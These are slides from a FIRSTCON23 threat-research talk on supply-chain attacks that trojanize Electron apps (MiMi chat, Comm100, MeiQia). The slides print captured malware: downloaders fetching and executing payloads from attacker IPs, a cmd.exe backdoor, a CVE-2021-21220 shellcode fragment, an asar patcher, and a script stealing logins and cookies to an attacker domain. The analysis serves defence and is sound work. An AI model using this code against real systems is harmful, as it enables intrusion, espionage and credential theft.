Abusing Electron-based applications in targeted attacks

Jaromír Hořejší (@JaromirHorejsi)
FIRSTCON23, Montreal, Canada
06 June 2023
Outline

• Introduction
• Overview of Electron framework
• Methods of abusing Electron-based applications
• Selected APT cases abusing Electron-based applications
  – Iron Tiger (MiMi secure chat)
  – Unclassified (Comm100 & LiveHelp100 customer engagement platforms)
  – Water Labbu (MeiQia live chat)
• Conclusion
Introduction
Introduction

- Open-source project
- Uses web developing languages
  - JavaScript, HTML, CSS
- Allows to maintain one codebase
- Framework to build cross-platform desktop apps
  - MacOS, Linux, Windows
- Embeds Chromium and Node.js into its binary
Introduction

• Node.js
  – server-side JavaScript runtime environment
  – runs V8 JavaScript engine
  – asynchronous event-driven JavaScript runtime
  – bundles npm (node package manager)
Introduction

• Multi-process architecture inherited from Chromium
  − Framework architecturally similar to modern web browsers
  − Main process (single process)
    • Application entry point
    • Runs in Node.js environment
    • Creates and manages application windows (BrowserWindow module)
    • Controls application lifecycle (ready, launch window, finish launching, all windows closed, before quit, ...)
    • Can interact with operating system via custom API
Introduction

- Renderer process
  - Spawn for each open BrowserWindow
  - Responsible for rendering web content
- GPU process, sandboxed utility process

Additional Process Types

Chromium has split out a number of other components into separate processes as well, sometimes in platform-specific ways. For example, it now has a separate GPU process, network service, and storage service. Sandboxed utility processes can also be used for small or risky tasks, as one way to satisfy the Rule of Two for security.
Introduction

• Lots of applications built with Electron (https://www.electronjs.org/apps)
  – Productivity apps
    • Github Desktop
  – Social
    • Discord, Signal, Skype, WhatsApp
  – Business
    • Microsoft Teams, Slack
  – Developer tools
    • Visual Studio Code
Overview of Electron framework
Overview of Electron framework

- Creating Electron project
  - package.json, index.html, main.js, preload.js

```json
{
  "name": "electron-test",
  "version": "1.0.0",
  "description": "electron test app",
  "scripts": {
    "test": "echo "Error: no test specified" && exit 1"
  },
  "main": "main.js",
  "author": "macOS",
  "license": "ISC",
  "devDependencies": {
    "electron": "^21.2.3"
  }
}
```
Overview of Electron framework

- Structure of Electron application folder
  - To distribute application, one needs to package it (using tools or manually)
  - Use tools like Electron Forge, electron-builder, ...
Overview of Electron framework

• Packaging/building the project for different platforms
  - `npx electron-builder -mwl`

```markdown
@APEX1AD electron % npx electron-builder -mwl
• electron-builder  version=23.6.0  os=21.1.0
• writing effective config  file=dist/builder-effective-config.yaml
• packaging  platform=darwin arch=x64 electron=21.2.3 appOutDir=dist/mac
• building  target=macOS zip arch=x64 file=dist/electron-test-1.0.0-mac.zip
• building  target=DMG arch=x64 file=dist/electron-test-1.0.0.dmg
• packaging  platform=linux arch=x64 electron=21.2.3 appOutDir=dist/linux-unpacked
• building  target=snap arch=x64 file=dist/electron-test_1.0.0_amd64.snap
• building  target=AppImage arch=x64 file=dist/electron-test-1.0.0.AppImage
• packaging  platform=win32 arch=x64 electron=21.2.3 appOutDir=dist/win-unpacked
• building  target=nsis file=dist/electron-test Setup 1.0.0.exe archs=x64
```
Overview of Electron framework

• Compiling/packaging the project for different platforms
Overview of Electron framework

• ASAR archive
  – ASAR stands for **Atom Shell Archive Format**
  – simple extensive archive format
  – Works like tar (tape archive)
    • Concatenates files together
    • No compression
    • Random access support (Electron can read arbitrary files from it without unpacking the whole archive)
  – Uses JSON to store information about files
Overview of Electron framework

• ASAR archive
Overview of Electron framework

• ASAR archive
  – electron-test-1.0.0-mac.zip\electron-test.app\Contents\Resources\app.asar
  – electron-test-1.0.0.dmg\electron-test 1.0.0\electron-test.app\Contents\Resources\app.asar
  – electron-test_1.0.0_amd64.snap\resources\app.asar
  – electron-test Setup 1.0.0.exe\$PLUGINSDIR\app-64.7z\resources\app.asar
Overview of Electron framework

• Tools for viewing/extracting ASAR archive contents
  - `npx asar extract`
  - `npx asar extract-file`
Methods of abusing Electron-based applications
Methods of abusing Electron-based applications

- Exploiting vulnerabilities
  - BlackHat USA 2022: **ElectroVolt** – Pwning Popular Desktop apps while uncovering new attack surface on Electron
    - Node integration / context isolation / sandboxing
    - Visual Studio Code bypassing restricted mode (CVE-2021-43908)
    - Discord RCE (uses CVE-2021-21220 to get RCE)
    - Local File Read in MS Teams (uses CVE-2021-44165)
    - Element Desktop RCE (CVE-2022-23597)
    - CVE-2021-39184 (allows a sandboxed renderer to request a "thumbnail" image of an arbitrary file)
    - CVE-2022-29247 (Enabling Node Integration in SubFrames from compromised Renderer)
Methods of abusing Electron-based applications

- Exploiting vulnerabilities
  - CVE-2021-21220 had been used in-the-wild by threat actors
    - Vulnerability in Chromium prior to 89.0.4389.128
    - Insufficient validation of untrusted input in V8 for x86_64
    - The exploit code works when it is rendered in a non-sandboxed window

```javascript
117 var rwx_page_addr = ftoi(arbread(addrof(wasm_instance) + 0x68n));
118 console.log("[+] Address of rwx page: " + rwx_page_addr.toString(16));
119 var shellcode = [3833809148,12642544,1363214336,1364348993,3526445142,1384859749];
120 copy_shellcode(rwx_page_addr, shellcode);
121 f();
```

- pediy
Methods of abusing Electron-based applications

• Patching existing application
  
  − had been used in-the-wild by threat actors
  
  − Replacing existing `app.asar` archive based on archive file size
Methods of abusing Electron-based applications

• Patching existing application
  
  – Searching strings in `app.asar` archive and replacing them

```javascript
$re = @{
  'y'="//autoUpdater.checkForUpdatesAndNotify();";
  's'="//setTimeout(()=>autoUpdater.quitAndInstall(),0);";
  'a'="if(val.indexOf('electronif')>-1){browserWindow.hide();}else{brow:
  'b'="http://nmnmnm.whg7.cc/el.php?3287";
  'c'="960";
  'd'='on: true';
  'cl'="960";
  'dl'='on: true';
  'u'="//autoUpdater.downloadUpdate();";
  'w'="//sendStatusBarWindow({ type:'checking', message: info});";
  'x'="//win.webContents.send('update-message',text)"
};
```
Selected APT cases
Selected APT cases

• Iron Tiger
  - MiMi secure chat application

• Unclassified actor
  - Comm100 & LiveHelp100 customer engagement platforms

• Water Labbu
  - MeiQia live chat
MiMi secure chat application

- MiMi chat, a multiplatform chat application

In Chinese language, mì mì (秘密) means “secret”

Trojanized versions:
- Nov. 2021: Windows
- May 2022: Mac OS
MiMi secure chat application

- Desktop chat application
  - `electron-main.js` file modified to download the malicious payload
MiMi secure chat application

- electron-main.js contains code obfuscated with Dean Edwards’ JS packer
MiMi secure chat application

• Dean Edwards’ JS packer
MiMi secure chat application

• HyperBro downloader

```javascript
function downloadFile(uri, filename, callback) {
    var stream = fs.createWriteStream(filename);
    request(uri).pipe(stream).on('close', callback)
}

if (os.platform() == "win32") {
    var dest = os.tmpdir() + '/';
    var url = "http://45.77.250.141/";
    downloadFile(url + 'dlpprem32.bin', dest + 'dlpprem32.bin', () => {
        downloadFile(url + 'dlpprem32.dll', dest + 'dlpprem32.dll', () => {
            downloadFile(url + 'dlpumgr32.exe', dest + 'dlpumgr32.exe', () => {
                console.log("download finish");
                exec(dest + 'dlpumgr32.exe')
            })
        })
    })
}
```
MiMi secure chat application

- rshell downloader

```javascript
function downloadFile(a, b, c) {
    var d = fs.createWriteStream(b);
    request(a).pipe(d).on("close", c)
}

if (os.platform() == "darwin") {
    var f = os.tmpdir() + "/";
    var g = "http://139.180.216.65/";
    downloadFile(g + "rshell", f + "rshell", () => {
        console.log("download finish");
        exec("chmod +x " + f + "rshell");
        exec(f + "rshell")
    })
}
```
MiMi secure chat application

- We retrieved clean (left) and malicious (right) installer
- The modification time interval between both versions was very short (1h30)
MiMi secure chat application

- Security warnings (unsigned installer, unverified developer)
MiMi secure chat application

- We found interesting attackers’ scripts in our telemetry
  - Script.js is a custom Javascript password grabber
  - <subdomain> is an authentication portal for dev tool
  - Attacker might have used credentials stolen this way to access developer’s build environment
Comm100 & LiveHelp100 customer engagement platforms

- Based on our telemetry, actor behind the campaign compromised the web application since at least February 2022
- Client application downloading backdoor at least since August 2022
- Noticed around the end of September 2022
- Observed activity until end of October 2022
Comm100 & LiveHelp100 customer engagement platforms

Trojanized Electron app

JavaScript backdoor

Legitimate EXE file

Decryptor

Update package

1st stage

2nd stage

Decrypts & loads

Sideloads

Downloads & loads

Downloads & runs

Modules
Comm100 & LiveHelp100 customer engagement platforms

- Installer.exe\$PLUGINS\app-32\resources\app\app.asar\main.js
Comm100 & LiveHelp100 customer engagement platforms

- `<URL>/livehelp/collect` returns obfuscated JavaScript code
- Backdoor function executed by trojanized application
- Collection of OS information
Comm100 & LiveHelp100 customer engagement platforms

• Backdoor function

```javascript
const shell_manager = function (incident) {
  // arguments
  // 0 shell id
  // 1 shell 操作命令
  // 2 shell 操作值
  let shells = new Map();
  incident.on("shell", (job) => {
    let shell;
    switch (job.arguments[1]) {
      case "new":
        shell = childProcess.spawn(path.join(process.env.windir, "system32", "cmd.exe"), []);
        shell.stdin.write("chcp 65001\n");
        shells.set(job.arguments[0], shell);
        shell.stdout.on("data", chunk => {
          incident.emit("output", {
            client_key: job.client_key,
            output: JSON.stringify({
              data: chunk.toString(),
              shell_id: job.arguments[0],
            }),
            type: job.job_type,
          })
        });
    }
  });
```

©2023 Trend Micro Inc.
Comm100 & LiveHelp100 customer engagement platforms

- Second stage script from <URL>/livehelp/init
- Responsible for
  - additional trojanizing/modifying the original application and dropping next stage malware
  - dropping additional malicious files
MeiQia (美洽) live chat application

• Discovery
  – Found Cobalt Strike sample associated with campaign responsible for stealing cryptocurrency
  – The sample added a persistence registry key to load exploit from an online code repository
  – Repository also contained files designed to target MeiQia (美洽) application
MeiQia(美洽) live chat application

• CVE-2021-21220 (a vulnerability of Chromium before 89.0.4389.128)

```html
<title>美洽</title>
<body>
<script>
if (navigator.userAgent.toLowerCase().indexOf('electron') == -1) {
    console.log(111);
    window.location.href = 'https://app.meigia.com';
} else {
    if (navigator.userAgent.toLowerCase().indexOf('ms') == -1 || navigator.userAgent.indexOf('chrome') == -1) {
        console.log(222);
        (new Image()).src = 'https://app.meigla.com/1/t.php?222';
        b=document.createElement('iframe');
        b.style="margin:0px;padding:0px;height:100%;width:100%;";
        b.frameBorder=0;
        b.scrolling='no';
        b.src="https://legacy-pics.meigiausercontent.com/images/300817/odw4/o3HZmUfYRmhDhohbbiYJ.jpg";
        document.body.appendChild(b);
    }
}</script>
</body>
</html>
```
MeiQia(美洽) live chat application

• Infection vector
  – threat actor likely sent the exploit through the live chat box
  – weaponized HTML files containing a screenshot which looks like a withdrawal confirmation of crypto funds
MeiQia(美洽) live chat application

• Some old versions of the MeiQia(美洽) application
  – open external links inside the MeiQia(美洽) application (loadURL)
  – render the webpage without sandboxing (from Electron 20, the sandbox is enabled for renderer processes without any further configuration)

```javascript
21: if (protocol === 'http:' || protocol === 'https:') {
22:     // 为了安全考虑, 所有链接都通过外部浏览器打开
23:     shell.openExternal(val);
24: }
```

// 为了安全考虑, 所有链接都通过外部浏览器打开
// For security reasons, all links are opened through external browsers
MeiQia(美洽) live chat application

- Threat actor
- Sends malicious link
- Clicking on malicious link
- Code repo
- Loading exploit
- Targeted Electron app
- Exploit executes shellcode
- Patch electron app
- Delivers JS payload
- Runs
- Cobalt strike
- Batch commands
- Delivery server
MeiQia (美洽) live chat application

- Batch/ps1 scripts patch MeiQia app
  - downloading already patched `app.asar` archive and replacing it
  - running a patcher script
- Patcher script changes `\modules\create-window.js` inside `app.asar` archive
- Modifications include
  - Disabling auto updates
  - Setting fixed window size
  - Replacing the default URL (https://app.meiqia.com) with a malicious one
  - Embedding additional JavaScripts to be executed within MeiQia application context
MeiQia（美洽） live chat application

- Replaces default URL
- Modifies function “new-window” which injects additional scripts

```javascript
const APP_URL = 'http://momm.whg7.cc/electron.php?a';
const handleWindowEvents = window => {
    window.webContents.on('page-title-updated', (e, title) => {
        updateTitle(window, title);
        appTray.updateTerySub();
    });
}
// 打开外部链接 如点击工作台侧栏的客服按钮打开独立聊天页
window.webContents.on('new-window', (e, val) => {
    e.preventDefault();
    const { protocol } = url.parse(val);
    if (protocol === 'http:' || protocol === 'https:') {
        const browserWindow = new BrowserWindow({ autoHideMenuBar: true, show: false });
        browserWindow.webContents.loadURL(val);
        browserWindow.webContents.executeJavaScript(`
        ;location.href='https://app.meiqia.com/';s=document.createElement('script');s.src='https://r6.1v.com/e("HEAD")[0];[0]';document.body.appendChild(s);a=document.createElement('script');a.src='https://whg7.yTagName("HEAD")[0];[0]';document.body.appendChild(a);}

    }
    var request=false;
```
MeiQia(美洽) live chat application

• Script to grab credentials and steal cookies

```javascript
var ti=document.title
if(ti.indexOf('登录')>-1){
    document.getElementsByTagName("button")[0].addEventListener("click", function()
        username = document.getElementById('email').value;
        password = document.getElementById('password').value;

        if (username.length > 0) {
            var newimg = new Image();
        }
    }:
}else{
    if(ti.indexOf('美')>-1){
        var newimg = new Image();
        if(document.cookie.length>0){
            newimg.src = 'https://app.meiqiacontents.com/gg/ab.php?do=api&id=cookie&cookie=' + escape(document.cookie);
        }
    }else{
```
Conclusion
Takeaways

• Electron applications are usually “big” projects, consist of many files, which may be modified by threat actors
• App.asar archives contain even more files, which may hide malicious payload
• It is important to know where to look for possible malicious modifications
• Supply chain attacks defeat even cautious targets
• Running unsigned installer displays warnings on both Windows and MacOS, users likely used to ignore them
Conclusion

- Advanced threat actors with strong technical capabilities
- Patched Electron applications serve as downloaders/droppers to load additional native malware
- Custom malware toolkits working on multiple platforms
- The motivation of first two actors is espionage, motivation of Water Labbu is financial
References

• **Iron Tiger Compromises Chat Application Mimi, Targets Windows, Mac, and Linux Users** (blogpost, Aug 12th, 2022)

• **How Water Labbu Exploits Electron-Based Applications** (blogpost, Oct 5th, 2022)

• **Probing Weaponized Chat Applications Abused in Supply-Chain Attacks** (blogpost, Dec 14th, 2022)